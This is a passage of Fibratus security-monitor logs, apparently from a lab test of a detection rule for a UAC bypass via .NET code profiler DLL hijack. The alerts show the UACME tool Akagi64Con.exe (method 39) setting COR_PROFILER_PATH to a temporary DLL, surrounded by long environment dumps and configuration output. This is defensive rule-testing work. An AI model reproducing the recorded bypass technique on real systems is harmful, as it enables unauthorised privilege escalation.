FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-01T17:17:18+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 49458 + Pid: 9644 + Tid: 15040 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:17:17.1911474 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 9644 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-01T17:17:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:17:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:17:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:18:02+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:18:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:18:02+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:18:02+01:00 level=info msg=bootstrapping with pid 17420. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:18:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html use-template=>true enabled=>false port=>25] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true stack-enrichment=>true flush-interval=>1s enable-mem=>true enable-thread=>true enable-image=>true enable-fileio=>true min-buffers=>16 enable-handle=>false max-buffers=>36 enable-dns=>false enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-registry=>true enable-threadpool=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 level=>info formatter=>text max-size=>100 max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s bulk-workers=>1 template-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck=>true timeout=>5s healthcheck-timeout=>5s index-name=>fibratus trace-log=>false enabled=>false sniff=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ routing-key=>fibratus enabled=>false delivery-mode=>transient tls-insecure-skip-verify=>false durable=>false exchange-type=>topic timeout=>5s vhost=>/ passive=>false exchange=>fibratus url=>amqp://localhost:5672] http=>[ enabled=>false enable-gzip=>false endpoints=>[] serializer=>json tls-insecure-skip-verify=>false method=>POST timeout=>5s]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false skip-files=>false fastscan=>true skip-mmaps=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:18:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:18:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:18:10+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 50593 + Pid: 17096 + Tid: 13420 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:18:09.6072181 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17096 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual 